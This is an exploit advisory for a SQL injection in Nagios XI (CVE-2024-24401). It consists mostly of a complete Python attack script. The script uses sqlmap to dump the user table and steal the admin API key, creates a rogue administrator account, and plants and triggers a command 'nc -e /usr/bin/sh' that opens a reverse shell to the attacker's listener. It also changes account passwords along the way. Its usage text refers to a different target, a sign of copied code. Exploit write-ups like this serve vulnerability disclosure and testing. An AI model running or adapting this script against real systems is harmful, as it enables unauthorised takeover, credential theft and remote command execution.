Authored by Jarod Jaslow

Nagios XI versions 2024R1.01 suffers from a remote SQL injection vulnerability.

advisories | CVE-2024-24401

# Exploit Title: NAGIOS XI SQLI
# Google Dork: [if applicable]
# Date: 02/26/2024
# Exploit Author: Jarod Jaslow (MAWK) https://www.linkedin.com/in/jarod-jaslow-codename-mawk-265144201/
# Vendor Homepage: https://www.nagios.com/changelog/#nagios-xi
# Software Link: https://github.com/MAWK0235/CVE-2024-24401
# Version: Nagios XI Version 2024R1.01
# Tested on: Nagios XI Version 2024R1.01 LINUX
# CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24401
#

import requests
import subprocess
import argparse
import re
import urllib3
import os
import random
import string
from colorama import Fore, Style

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)



def serviceLogin(user,password):
r = requests.post(f'http://{IP}/nagiosxi/api/v1/authenticate?pretty=1',data={'username':user,'password':password,"valid_min":"5"},verify=False)
print(f"{Fore.MAGENTA}[+] Authenticating with captured credtials to API....")
match = re.search(r'auth_token": "(.*)"',r.text)
if match:
token = match.group(1)
print(f'{Fore.MAGENTA}[+] Token: ' + token)
r = requests.get(f'http://{IP}/nagiosxi/login.php?token={token}', verify=False)
cookie = r.headers['Set-Cookie']
cookie = cookie.split(',')[0]
match = re.search(r'nagiosxi=(.*);', cookie)
cookie = match.group(1)
print(f"{Fore.MAGENTA}[+] Auth cookie is: " + cookie)
return cookie
else:
print(f'{Fore.RED}[-] Authentication Failed..{Style.RESET_ALL}')
exit()

def sqlmap(IP,username,password):

print(f'{Fore.MAGENTA}[+] Starting SQLMAP...')
session = requests.session()
s = session.get(f'http://{IP}/nagiosxi/index.php', verify=False)
match = re.search(r'var nsp_str = "(.*?)"', s.text)
nsp = match.group(1)
print(f"{Fore.MAGENTA}[+] NSP captured: " + nsp)
data = {"nsp": nsp, "page": "auth", "debug": '', "pageopt": "login", "username": username, "password": password, "loginButton": ''}
s = session.post(f'http://{IP}/nagiosxi/login.php', data=data)
print(f"{Fore.MAGENTA}[+] Authenticated as User..")
print(f"{Fore.MAGENTA}[+] Accepting license Agreement...")
s = session.get(f'http://{IP}/nagiosxi/login.php?showlicense', verify=False)
match = re.search(r'var nsp_str = "(.*?)"', s.text)
nsp = match.group(1)
data = {"page": "/nagiosxi/login.php", "pageopt": "agreelicense", "nsp": nsp, "agree_license": "on"}
session.post(f"http://{IP}/nagiosxi/login.php?showlicense", data=data)
print(f"{Fore.MAGENTA}[+] Performing mandatory password change ARGH")
newPass = "mawk"
data = {"page": "/nagiosxi/login.php", "pageopt": "changepass", "nsp": nsp,"current_password": password, "password1": newPass, "password2": newPass, "reporttimesubmitbutton": ''}
session.post(f"http://{IP}/nagiosxi/login.php?forcepasswordchange", data=data)
s= session.get(f'http://{IP}/nagiosxi/')
match = re.search(r'var nsp_str = "(.*?)"', s.text)
nsp = match.group(1)
cookie = s.cookies.get('nagiosxi')
sqlmap_command = f'sqlmap --flush-session -u "http://{IP}/nagiosxi//config/monitoringwizard.php/1*?update=1&nextstep=2&nsp={nsp}&wizard=mysqlserver" --cookie="nagiosxi={cookie}" --dump -D nagiosxi -T xi_users --drop-set-cookie --technique=ET --dbms=MySQL -p id --risk=3 --level=5 --threads=10 --batch'
#print(sqlmap_command)
sqlmap_command_output = subprocess.Popen(sqlmap_command,shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True )
try:
for line in iter(sqlmap_command_output.stdout.readline, ''):
if "| Nagios Administrator |" in line:
match = re.search(r"Nagios Administrator | (.*?) |", line)
if match:
adminKey= match.group(1)
print(f"{Fore.MAGENTA}[+] Admin Key recovered: " + adminKey)
return adminKey
else:
print(f"{Fore.RED}[-] Could not pull Admin Key :(....{Style.RESET_ALL}")
exit()
break
print("[-] SQLMAP capture FAILED..")
sqlmap_command_output.terminate()

except KeyboardInterrupt:
print(f"{Fore.RED}[-] SQLMAP interrupted. Cleaning up...{Style.RESET_ALL}")
sqlmap_command_output.terminate()
sqlmap_command_output.communicate()
exit()

def createAdmin(IP,adminKey):
characters = string.ascii_letters + string.digits
random_username = ''.join(random.choice(characters) for i in range(5))
random_password = ''.join(random.choice(characters) for i in range(5))

data = {"username": random_username, "password": random_password, "name": random_username, "email": f"{random_username}@mail.com", "auth_level": "admin"}
r = requests.post(f'http://{IP}/nagiosxi/api/v1/system/user?apikey={adminKey}&pretty=1', data=data, verify=False)
if "success" in r.text:
print(f'{Fore.MAGENTA}[+] Admin account created...')
return random_username, random_password
else:
print(f'{Fore.RED}[-] Account Creation Failed!!! :(...{Style.RESET_ALL}')
print(r.text)
exit()

def start_HTTP_server():
subprocess.Popen(["python", "-m", "http.server", "8000"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)

def adminExploit(adminUsername, adminPassword, IP, LHOST,LPORT):
print(f"{Fore.MAGENTA}[+] Conducting mandatory password change...")
session = requests.session()
s = session.get(f'http://{IP}/nagiosxi/index.php', verify=False)
match = re.search(r'var nsp_str = "(.*?)"', s.text)
nsp = match.group(1)
print(f"{Fore.MAGENTA}[+] NSP captured: " + nsp)
data = {"nsp": nsp, "page": "auth", "debug": '', "pageopt": "login", "username": adminUsername, "password": adminPassword, "loginButton": ''}
s = session.post(f'http://{IP}/nagiosxi/login.php', data=data)
print(f"{Fore.MAGENTA}[+] Authenticated as admin..")
print(f"{Fore.MAGENTA}[+] Accepting license Agreement...")
s = session.get(f'http://{IP}/nagiosxi/login.php?showlicense', verify=False)
match = re.search(r'var nsp_str = "(.*?)"', s.text)
nsp = match.group(1)
data = {"page": "/nagiosxi/login.php", "pageopt": "agreelicense", "nsp": nsp, "agree_license": "on"}
session.post(f"http://{IP}/nagiosxi/login.php?showlicense", data=data)
print(f"{Fore.MAGENTA}[+] Performing mandatory password change ARGH")
newAdminPass = adminUsername + adminPassword
data = {"page": "/nagiosxi/login.php", "pageopt": "changepass","current_password": adminPassword, "nsp": nsp, "password1": newAdminPass, "password2": newAdminPass, "reporttimesubmitbutton": ''}
session.post(f"http://{IP}/nagiosxi/login.php?forcepasswordchange", data=data)
print(f"{Fore.MAGENTA}[+] Creating new command...")
data = {"tfName": adminUsername, "tfCommand": f"nc -e /usr/bin/sh {LHOST} {LPORT}", "selCommandType": "1", "chbActive": "1", "cmd": "submit", "mode": "insert", "hidId": "0", "hidName": '', "hidServiceDescription": '', "hostAddress": "127.0.0.1", "exactType": "command", "type": "command", "genericType": "command"}
session.post(f'http://{IP}/nagiosxi/includes/components/ccm/index.php?type=command&page=1', data=data)
data = {"cmd": '', "continue": ''}
start_HTTP_server()
print(f"{Fore.MAGENTA}[+] Created command: " + adminUsername)
session.post(f'http://{IP}/nagiosxi/includes/components/nagioscorecfg/applyconfig.php?cmd=confirm', data=data)
data = {"search": adminUsername}
s = session.post(f'http://{IP}/nagiosxi/includes/components/ccm/index.php?cmd=view&type=command&page=1', data=data)
match = re.search(r"javascript:actionPic('deactivate','(.*?)','", s.text)
if match:
commandCID = match.group(1)
print(f"{Fore.MAGENTA}[+] Captured Command CID: " + commandCID)
s = session.get(f"http://{IP}/nagiosxi/includes/components/ccm/?cmd=view&type=service")
match = re.search(r'var nsp_str = "(.*?)"', s.text)
if match:
nsp = match.group(1)
s = session.get(f"http://{IP}/nagiosxi/includes/components/ccm/command_test.php?cmd=test&mode=test&cid={commandCID}&nsp={nsp}")
os.system("kill -9 $(lsof -t -i:8000)")
print(f"{Fore.RED}[+] CHECK UR LISTENER")
else:
print(f"{Fore.RED}[-] ERROR")
else:
print(f"{Fore.RED}[-] Failed to capture Command CID..{Style.RESET_ALL}")




if __name__ == '__main__':
ascii_art = f"""{Fore.LIGHTRED_EX}
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"""
print(ascii_art)
parser = argparse.ArgumentParser(description="AutoPwn Script for Bizness HTB machine", usage= "sudo Nagios.py <Target IP> <LHOST> <LPORT>")
parser.add_argument('IP' ,help= "Target IP ")
parser.add_argument('LHOST',help= "Local host")
parser.add_argument('LPORT' ,help= "Listening Port")

args = parser.parse_args()
min_required_args = 3
if len(vars(args)) != min_required_args:
parser.print_usage()
exit()

adminUsername, adminPassword = createAdmin(args.IP, sqlmap(args.IP,input(f"{Fore.MAGENTA}[+] Please insert a non-administrative username: "),input(f"{Fore.MAGENTA}[+] Please insert the password: ")))
print(f"{Fore.MAGENTA}[+] Admin Username=" + adminUsername)
print(f"{Fore.MAGENTA}[+] Admin Password=" + adminPassword)
adminExploit(adminUsername, adminPassword, args.IP,args.LHOST,args.LPORT)